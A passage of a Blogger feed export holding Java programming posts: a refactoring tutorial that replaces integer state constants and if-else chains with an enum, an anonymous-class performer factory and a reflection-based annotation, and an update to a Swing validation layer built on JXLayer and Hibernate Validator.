{&lt;br /&gt;        manager.idle();&lt;br /&gt;        assertEquals(manager.state, SystemManager.IDLE);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Run the test, it passt:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kE1wl-BJf90/SJHOwTO610I/AAAAAAAAABw/xr8XjkhhOPY/s1600-h/image001.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_kE1wl-BJf90/SJHOwTO610I/AAAAAAAAABw/xr8XjkhhOPY/s320/image001.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5229187971545749314" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now let’s begin refactoring:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Replace the legacy integer constant with java Enum&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This Step is relatively easy. Just create a new enum class:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;public enum SystemState {&lt;br /&gt;    LOGGEDIN,&lt;br /&gt;    LOGGEDOUT,&lt;br /&gt;    IDLE;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;It is simple to replace all code calling the integer constant with calling the enum instance:&lt;br /&gt;&lt;br /&gt;1. Add import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;2. Remove all integer constants.&lt;br /&gt;3. Change the type of the state to the enum class SystemState.&lt;br /&gt;&lt;br /&gt;After the refactoring, the code should look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;&lt;br /&gt;public class SystemManager {&lt;br /&gt;&lt;br /&gt;    SystemState state;&lt;br /&gt;&lt;br /&gt;    public void login() {&lt;br /&gt;        // call service#login()&lt;br /&gt;        updateState(LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void logout() {&lt;br /&gt;        // call service#logout()&lt;br /&gt;        updateState(LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void idle() {&lt;br /&gt;        // call some other services&lt;br /&gt;        updateState(IDLE);&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    public void updateState(SystemState state) {&lt;br /&gt;        if (state == LOGGEDIN) {&lt;br /&gt;            // do something after logging in is successful, &lt;br /&gt;            // for example: show welcome dialog, open the last edit document, etc.&lt;br /&gt;        } else if (state == LOGGEDOUT) {&lt;br /&gt;            // do something after logging out is successful, &lt;br /&gt;            // for example: free used resource, dispose GUI components, etc.&lt;br /&gt;        } else if (state == IDLE) {&lt;br /&gt;            // do something after the user is idle, &lt;br /&gt;            // for example: save the application state temporarily, lock the application, etc.&lt;br /&gt;        } else {&lt;br /&gt;            throw new IllegalArgumentException("unknown state");&lt;br /&gt;        }&lt;br /&gt;        this.state = state;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And in the test class:&lt;br /&gt;&lt;br /&gt;1. Add import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;2. Remove the SystemManager reference before all constants.&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import org.junit.AfterClass;&lt;br /&gt;import org.junit.BeforeClass;&lt;br /&gt;import org.junit.Test;&lt;br /&gt;import static org.junit.Assert.*;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt; *&lt;br /&gt; * @author JGe&lt;br /&gt; */&lt;br /&gt;public class SystemManagerTest {&lt;br /&gt;&lt;br /&gt;    private static SystemManager manager;&lt;br /&gt;&lt;br /&gt;    @BeforeClass&lt;br /&gt;    public static void setUpClass() throws Exception {&lt;br /&gt;        manager = new SystemManager();&lt;br /&gt;        // add some service mock objects&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @AfterClass&lt;br /&gt;    public static void tearDownClass() throws Exception {&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @Test&lt;br /&gt;    public void login() {&lt;br /&gt;        manager.login();&lt;br /&gt;        assertEquals(manager.state, LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;   &lt;br /&gt;    @Test&lt;br /&gt;    public void logout() {&lt;br /&gt;        manager.logout();&lt;br /&gt;        assertEquals(manager.state, LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    @Test&lt;br /&gt;    public void idle() {&lt;br /&gt;        manager.idle();&lt;br /&gt;        assertEquals(manager.state, IDLE);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Run the test again. It should be passed.&lt;br /&gt;&lt;br /&gt;Now we should go to handle the “if-else hell”.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Get ride of the if-else hell&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Take a look at the the updateState() method. The reason, why if-else is used, is that the SystemState is just an enum and does not has any activities. After caught this point, it should be clear how to refactoring this bad code: change the input the parameter of the updateState() method into a activity class and move the logic code into that class. By calling the appropriate method of such class in the updateState() method, the if-else will disappear.&lt;br /&gt;&lt;br /&gt;We call these activity classes as System State Performer, the base class, which should be abstract, should look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import java.awt.Image;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public abstract class SystemStatePerformer {&lt;br /&gt;    &lt;br /&gt;    private SystemState state;&lt;br /&gt;    private Image image;&lt;br /&gt;&lt;br /&gt;    public SystemStatePerformer(SystemState state, Image image) {&lt;br /&gt;        this.state = state;&lt;br /&gt;        this.image = image;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public SystemState getState() {&lt;br /&gt;        return state;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public Image getImage() {&lt;br /&gt;        return image;&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    public abstract void perform();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Like the code says, each performer has a SystemState and can contain any other object references. The Image showed here is such an example, which means each state has its own image shown to the user. The perform() method will do the real business logic for it’s state.&lt;br /&gt;&lt;br /&gt;The next step is building concrete Performer for each state. The first idea came to my mind is building sub class for each state. You can do it, if you like this style. But, in my opinion, this way will make a lot of classes and we will easily lose the focus. I decide to use a Factory and create anonymous class for each state. Doing it this way can hold all classes for all state in a one location. Since adding support for new state will force changing at lease one class, why not choose the factory class?&lt;br /&gt;&lt;br /&gt;The performer factory class should look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;import java.awt.Image;&lt;br /&gt;import java.awt.image.BufferedImage;&lt;br /&gt;&lt;br /&gt;public class SystemStatePerformerFactory {&lt;br /&gt;&lt;br /&gt;private static SystemStatePerformerFactory INSTANCE = new SystemStatePerformerFactory();&lt;br /&gt;    &lt;br /&gt;    private SystemStatePerformerFactory() {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;    public static SystemStatePerformer getSystemStatePerformer(SystemState state) {&lt;br /&gt;        switch (state) {&lt;br /&gt;            case LOGGEDIN:&lt;br /&gt;                return createLoggedInPerformer();&lt;br /&gt;            case IDLE:&lt;br /&gt;                return createIdlePerformer();&lt;br /&gt;            case LOGGEDOUT:&lt;br /&gt;                return createLoggedOutPerformer();&lt;br /&gt;            default:&lt;br /&gt;                throw new IllegalAccessError("Unkonw status");&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private static SystemStatePerformer createLoggedInPerformer() {&lt;br /&gt;        return new SystemStatePerformer(LOGGEDIN, getImage("loggedin.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after logging in is successful, &lt;br /&gt;                // for example: show welcome dialog, open the last edit document, etc.&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private static SystemStatePerformer createLoggedOutPerformer() {&lt;br /&gt;        return new SystemStatePerformer(LOGGEDOUT, getImage("loggedout.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after logging out is successful, &lt;br /&gt;                // for example: free used resource, dispose GUI components, etc.            }&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private static SystemStatePerformer createIdlePerformer() {&lt;br /&gt;        return new SystemStatePerformer(IDLE, getImage("idle.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after the user is idle, &lt;br /&gt;                // for example: save the application state temporarily, lock the application, etc.&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private static Image getImage(String string) {&lt;br /&gt;        return new BufferedImage(10, 10, BufferedImage.TYPE_4BYTE_ABGR);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In this factory, for each state, there is a performer create method, which creates the anonymous class. The different business logic code for different state are moved into the appropriate perform() method. There is only one public method getSystemStatePerformer(), which can be called by our SystemManager. &lt;br /&gt;&lt;br /&gt;Note, since I want to concentrate on the if-else problem, there are some bad design in this class. First, the getImage() method is just used as example. In a real project, it should be more type save. Second, the static method will make the test painful. In a real project, you should avoid using it. Try DI framework, for example google guice for solving this problem.&lt;br /&gt;&lt;br /&gt;Ok, now we have refactoring the conditional code out from the SystemManager into the SystemStatePerformer. The next step is refactoring the SystemManager, replace the SystemState with the performer:&lt;br /&gt;&lt;br /&gt;1. Change the variable SystemState state to SystemStatePerformer statePerformer. Note: use the IDE refatoring, because the state is used in the test.&lt;br /&gt;2. Call the SystemStatePerformerFactory in the updateState() method&lt;br /&gt;3. Calling getState() after manager.statePerformer in the test, because we test the state not the statePerformer.&lt;br /&gt;&lt;br /&gt;After the refactoring, the SystemManager looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;&lt;br /&gt;public class SystemManager {&lt;br /&gt;&lt;br /&gt;    SystemStatePerformer statePerformer;&lt;br /&gt;&lt;br /&gt;    public void login() {&lt;br /&gt;        // call service#login()&lt;br /&gt;        updateState(LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public void logout() {&lt;br /&gt;        // call service#logout()&lt;br /&gt;        updateState(LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public void idle() {&lt;br /&gt;        // call some other services&lt;br /&gt;        updateState(IDLE);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public void updateState(SystemState state) {&lt;br /&gt;        this.statePerformer = SystemStatePerformerFactory.getInstance()&lt;br /&gt;                getSystemStatePerformer(state);&lt;br /&gt;        statePerformer.perform();&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Like the code tells us, the if-else is disappeared.&lt;br /&gt;&lt;br /&gt;The test class looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import org.junit.AfterClass;&lt;br /&gt;import org.junit.BeforeClass;&lt;br /&gt;import org.junit.Test;&lt;br /&gt;import static org.junit.Assert.*;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;public class SystemManagerTest {&lt;br /&gt;&lt;br /&gt;    private static SystemManager manager;&lt;br /&gt;&lt;br /&gt;    @BeforeClass&lt;br /&gt;    public static void setUpClass() throws Exception {&lt;br /&gt;        manager = new SystemManager();&lt;br /&gt;        // add some service mock objects&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @AfterClass&lt;br /&gt;    public static void tearDownClass() throws Exception {&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    @Test&lt;br /&gt;    public void login() {&lt;br /&gt;        manager.login();&lt;br /&gt;        assertEquals(manager.statePerformer.getState(), LOGGEDIN);&lt;br /&gt;    }&lt;br /&gt;   &lt;br /&gt;    @Test&lt;br /&gt;    public void logout() {&lt;br /&gt;        manager.logout();&lt;br /&gt;        assertEquals(manager.statePerformer.getState(), LOGGEDOUT);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    @Test&lt;br /&gt;    public void idle() {&lt;br /&gt;        manager.idle();&lt;br /&gt;        assertEquals(manager.statePerformer.getState(), IDLE);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Until now, the refactoring is almost done, the code looks more OO. But there is still one little problem: the if-else in the SystemManager disappeared, but we get a switch in the factory. It is, actually, nothing else as the if-else. It is not a pure solution. &lt;br /&gt;&lt;br /&gt;Ok, let’s move further. For getting ride of this switch, we can instantiate all anonymous classes before the getSystemStatePerformer() is called and return the correct instance when the method is called. A Map is for this case a simple choice for holding all instances of the SystemStatePerformer.&lt;br /&gt;&lt;br /&gt;After refactoring the SystemManager should look like this:&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import static de.jingge.refactoring.SystemState.*;&lt;br /&gt;import java.awt.Image;&lt;br /&gt;import java.awt.image.BufferedImage;&lt;br /&gt;import java.lang.reflect.Method;&lt;br /&gt;import java.util.Collections;&lt;br /&gt;import java.util.HashMap;&lt;br /&gt;import java.util.Map;&lt;br /&gt;&lt;br /&gt;public class SystemStatePerformerFactory {&lt;br /&gt;&lt;br /&gt;private static SystemStatePerformerFactory INSTANCE = new SystemStatePerformerFactory();&lt;br /&gt;    &lt;br /&gt;    private Map&amp;lt;SystemState, SystemStatePerformer&amp;gt; performers;&lt;br /&gt;&lt;br /&gt;    private SystemStatePerformerFactory() {&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;    public static SystemStatePerformerFactory getInstance() {&lt;br /&gt;        return INSTANCE;&lt;br /&gt;    }&lt;br /&gt;    &lt;br /&gt;    private synchronized Map&amp;lt;SystemState, SystemStatePerformer&amp;gt; getPerformers()&lt;br /&gt;            throws Exception {&lt;br /&gt;        if (performers == null) {&lt;br /&gt;            performers = new HashMap&amp;lt;SystemState, SystemStatePerformer&amp;gt;();&lt;br /&gt;            // call all @FactoryMethod using reflection&lt;br /&gt;            for (Method m : getClass().getDeclaredMethods()) {&lt;br /&gt;                if (m.getAnnotation(FactoryMethod.class) != null) {&lt;br /&gt;                    SystemStatePerformer p = (SystemStatePerformer) m.invoke(&lt;br /&gt;                            this, new Object[]{});&lt;br /&gt;                    performers.put(p.getState(), p);&lt;br /&gt;                }&lt;br /&gt;            }&lt;br /&gt;            // make it readonly&lt;br /&gt;            performers = Collections.unmodifiableMap(performers);&lt;br /&gt;        }&lt;br /&gt;        return performers;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    public SystemStatePerformer getSystemStatePerformer(SystemState state) throws Exception{&lt;br /&gt;        return getPerformers().get(state);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;@FactoryMethod&lt;br /&gt;    private SystemStatePerformer createLoggedInPerformer() {&lt;br /&gt;        return new SystemStatePerformer(LOGGEDIN, getImage("loggedin.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after logging in is successful, &lt;br /&gt;                // for example: show welcome dialog, open the last edit document, etc.&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;@FactoryMethod&lt;br /&gt;    private SystemStatePerformer createLoggedOutPerformer() {&lt;br /&gt;        return new SystemStatePerformer(LOGGEDOUT, getImage("loggedout.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after logging out is successful, &lt;br /&gt;                // for example: free used resource, dispose GUI components, etc.            }&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;@FactoryMethod&lt;br /&gt;    private SystemStatePerformer createIdlePerformer() {&lt;br /&gt;        return new SystemStatePerformer(IDLE, getImage("idle.gif")) {&lt;br /&gt;&lt;br /&gt;            @Override&lt;br /&gt;            public void perform() {&lt;br /&gt;                // do something after the user is idle, &lt;br /&gt;                // for example: save the application state temporarily, lock the application, etc.&lt;br /&gt;            }&lt;br /&gt;        };&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    private Image getImage(String string) {&lt;br /&gt;        return new BufferedImage(10, 10, BufferedImage.TYPE_4BYTE_ABGR);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The getPerformers() method will build all performer instances lazily and will be called when the getSystemStatePerformer() is called at the first time. I create and use the @FactoryMethod annotation, because I want to avoid changing the getSystemStatePerformer() method, each time when new create***Performer() method is added.&lt;br /&gt;&lt;br /&gt;The annotation class looks like this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name='code' class='java'&gt;&lt;br /&gt;package de.jingge.refactoring;&lt;br /&gt;&lt;br /&gt;import java.lang.annotation.ElementType;&lt;br /&gt;import java.lang.annotation.Retention;&lt;br /&gt;import java.lang.annotation.RetentionPolicy;&lt;br /&gt;import java.lang.annotation.Target;&lt;br /&gt;&lt;br /&gt;@Retention(RetentionPolicy.RUNTIME)&lt;br /&gt;@Target({ElementType.METHOD})&lt;br /&gt;public @interface FactoryMethod {&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Well, all are done! There is no if-else, no switch. For further state, just add a new create***Performer() method in the factory, that’s all! &lt;br /&gt;&lt;br /&gt;Friend, who read the “Refactoring to patterns”, may say that what we did here is same as what the author described in his book, in the last segment of the chapter 7: Replace Conditional Dispatcher with Command. Well, at first glance, they are, but after read my whole code and think about it, the answer is No. &lt;br /&gt;&lt;br /&gt;The Book Refactoring to Patterns is great. I really like it. I have read it many times. All what I did here is, actually, based on the solution written in that book. But there are still some differents:&lt;br /&gt;&lt;br /&gt;1. Factory + anonymous class instead of the concrete sub classes. &lt;br /&gt;Doing it like this can hold all performer in one class and all needed object references are holt by the factory not the concrete sub classes. This can reduce the reference complex.&lt;br /&gt;2. The performer is not just a command. It has a state and could have many more logic than a command.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Further reading:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.amazon.com/Design-Patterns-Object-Oriented-Addison-Wesley-Professional/dp/0201633612"&gt;Design patterns Elements of Reusable Object-Oriented&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.industriallogic.com/xp/refactoring/"&gt;Refactoring to Patterns&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.manning.com/koskela/"&gt;Test Driven Practical TDD and Acceptance TDD for Java Developers&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-6995176666699059274?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/6995176666699059274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=6995176666699059274' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6995176666699059274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6995176666699059274'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2008/07/as-many-people-already-met-there-are.html' title='Refactoring to Patterns: Replace Conditional With Template'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kE1wl-BJf90/SJHOwTO610I/AAAAAAAAABw/xr8XjkhhOPY/s72-c/image001.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-6239270402575127822</id><published>2008-07-23T00:22:00.000-07:00</published><updated>2008-08-03T12:20:39.912-07:00</updated><title type='text'>Update: Common Validation Module for Swing Application</title><content type='html'>In the last blog I have written how to build a common validation module by using the jxlayer, beansbinding, and hibernate validator. After discussing about it with the JXLayer Author Alexander Potochkin, I got a suggestion from him(thanks, Alexp :-)): we should not change the state of any component in the paint() method. This is a swing pattern.&lt;br /&gt;&lt;br /&gt;The last version of the HibernateValidationUI contains Obviously an antipattern, where the tooltip is set in the paintLayer() method.&lt;br /&gt;&lt;br /&gt;Today, I post here a updated version of the HibernateValidationUI and try to kill the antipattern.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;/**&lt;br /&gt;* @author Jing Ge&lt;br /&gt;*/&lt;br /&gt;public class HibernateValidationUI extends AbstractLayerUI&amp;lt;JTextComponent&amp;gt; {&lt;br /&gt;&lt;br /&gt;   private Object object;&lt;br /&gt;   private String propertyName;&lt;br /&gt;   private ClassValidator validator;&lt;br /&gt;   private ELProperty elProperty;&lt;br /&gt;   private PropertyStateListener propertyChangeHandler;&lt;br /&gt;   private JXLayer&amp;lt;JTextComponent&amp;gt; layer;&lt;br /&gt;&lt;br /&gt;   public HibernateValidationUI(Object obj, String propertyName) {&lt;br /&gt;       this.object = obj;&lt;br /&gt;       this.propertyName = propertyName;&lt;br /&gt;       propertyChangeHandler = new PropertyChangeHandler();&lt;br /&gt;       validator = new ClassValidator(obj.getClass());&lt;br /&gt;&lt;br /&gt;       elProperty = ELProperty.create("${" + propertyName + "}");&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   @Override&lt;br /&gt;   public void installUI(JComponent c) {&lt;br /&gt;        if (layer != null) {&lt;br /&gt;            throw new IllegalStateException(getClass().getSimpleName() +&lt;br /&gt;                    " can't be shared between multiple layers");&lt;br /&gt;        }&lt;br /&gt;       super.installUI(c);&lt;br /&gt;       layer = (JXLayer&amp;lt;JTextComponent&amp;gt;) c;&lt;br /&gt;       elProperty.addPropertyStateListener(object, propertyChangeHandler);&lt;br /&gt;       validate();&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   @Override&lt;br /&gt;   public void uninstallUI(JComponent c) {&lt;br /&gt;       super.uninstallUI(c);&lt;br /&gt;       layer = null;&lt;br /&gt;       elProperty.removePropertyStateListener(object, propertyChangeHandler);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   private void validate() {&lt;br /&gt;       InvalidValue[] validationMessages = validator.getInvalidValues(object,&lt;br /&gt;               propertyName);&lt;br /&gt;       if (validationMessages.length &gt; 0) {&lt;br /&gt;           layer.getView().setToolTipText(validationMessages[0].getMessage());&lt;br /&gt;           return;&lt;br /&gt;       }&lt;br /&gt;       layer.getView().setToolTipText(null);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   @Override&lt;br /&gt;   protected void paintLayer(Graphics2D g2, JXLayer&amp;lt;JTextComponent&amp;gt; l) {&lt;br /&gt;       super.paintLayer(g2, l);&lt;br /&gt;       if (!isValid()) {&lt;br /&gt;           BufferedImage image = Java2DIconFactory.createErrorIcon();&lt;br /&gt;           g2.drawImage(image, l.getWidth() - image.getWidth() - 1,&lt;br /&gt;                   l.getHeight() - 8, null);&lt;br /&gt;       }&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   boolean isValid() {&lt;br /&gt;       return isBlank(layer.getView().getToolTipText());&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;     /**&lt;br /&gt;     * a copy from the apache common lang.&lt;br /&gt;     * Just use the StringUtils if the common lang jar in your classpath.&lt;br /&gt;     */&lt;br /&gt;    private boolean isBlank(String str) {&lt;br /&gt;        int strLen;&lt;br /&gt;        if (str == null || (strLen = str.length()) == 0) {&lt;br /&gt;            return true;&lt;br /&gt;        }&lt;br /&gt;        for (int i = 0; i &lt; strLen; i++) {&lt;br /&gt;            if ((Character.isWhitespace(str.charAt(i)) == false)) {&lt;br /&gt;                return false;&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;        return true;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    class PropertyChangeHandler implements PropertyStateListener {&lt;br /&gt;&lt;br /&gt;        @Override&lt;br /&gt;        public void propertyStateChanged(PropertyStateEvent pse) {&lt;br /&gt;            validate();&lt;br /&gt;            setDirty(true);&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;There are some changes in the class:&lt;br /&gt;&lt;br /&gt;1. The class holds a reference of the JXlayer instance, because it will be used while we validate the property. The reference will be injected when installUI() method is called.&lt;br /&gt;2. A new method validate() is added, which will validate the property and set the tooltip appropriately.&lt;br /&gt;3. The validate() method should be called in two places. One is just after the JXLayer instance is injected and another is when the property is changed, i.e. in the propertyStateChange(PropertyStateEvent) method.&lt;br /&gt;4. Now we simply use the tooltip text of the managed text component for checking whether the value of the property is valid.&lt;br /&gt;5. In the paintLayer() method we will only paint the error icon(when the the content of the property is invalid). No state of any component will be changed here.&lt;br /&gt;6. like the comment says, the isBlank() method is a copy from the apache common lang. If the common lang jar is in your classpath, just call the StringUtils.isBlank() method.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7651160756792394744-6239270402575127822?l=polygoncell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polygoncell.blogspot.com/feeds/6239270402575127822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7651160756792394744&amp;postID=6239270402575127822' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6239270402575127822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7651160756792394744/posts/default/6239270402575127822'/><link rel='alternate' type='text/html' href='http://polygoncell.blogspot.com/2008/07/update-common-validation-module-for.html' title='Update: Common Validation Module for Swing Application'/><author><name>JingGe</name><uri>http://www.blogger.com/profile/14421783975563206833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7651160756792394744.post-730889256862118654</id><published>2008-07-18T03:00:00.000-07:00</published><updated>2008-08-03T12:21:21.190-07:00</updated><title type='text'>Common Validation Module for Swing Application</title><content type='html'>&lt;div style="text-align: justify;"&gt;I have been using swing for developing the rich client application for a long time. There are always so many things to do that I put all my time and soul on it. This year, with the release of Swing Application Framework and Beans binding, our life goes better. But you can not stop getting new issues. In this article I will try to use some frameworks/libraries and build them together to solve a very import issue which each swing application must face – the validation.&lt;br /&gt;&lt;br /&gt;Validation plays a very important role in the modern application, because it can make your application more user friendly (always tells the user what he should do) and protect your system. In an n-tier system, the validation could be built on the server side or on the client side, while the second choice is always preferred. Today I will tell you how to use the beans binding, jxlayer, and hibernate validator to build validation module in a desktop application.&lt;br /&gt;&lt;br /&gt;Since the hibernate validator does a great job for domain model validation and we should not reinvent the wheel. So, the goal of this module is trying to delegate all validation calls from the GUI to the hibernate validator. Each time the property of the bound bean is changed, the new value will be validated by the hibernate validator framework. Error icon will be shown when the validation failed.&lt;br /&gt;&lt;br /&gt;Before going to the amazing validation code, I need some sample classes. For example a bean and some factories:&lt;br /&gt;&lt;br /&gt;First, we need a bean. Open you IDE (I use here the Netbeans. actually I am a eclipse user, but for such a small project, Netbeans can really save much time), and create a Java application. Yes, “Java Application” not “Java Desktop Application”, because I want to keep it simple. The Swing Application Framework is great. I use it in my real project. But in this case, using it is not necessary, it will only make thing more complicated. So, just create a Java Application. In my example, the project calls “validation”.&lt;br /&gt;&lt;br /&gt;Second, add the following jar files into the libraries:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 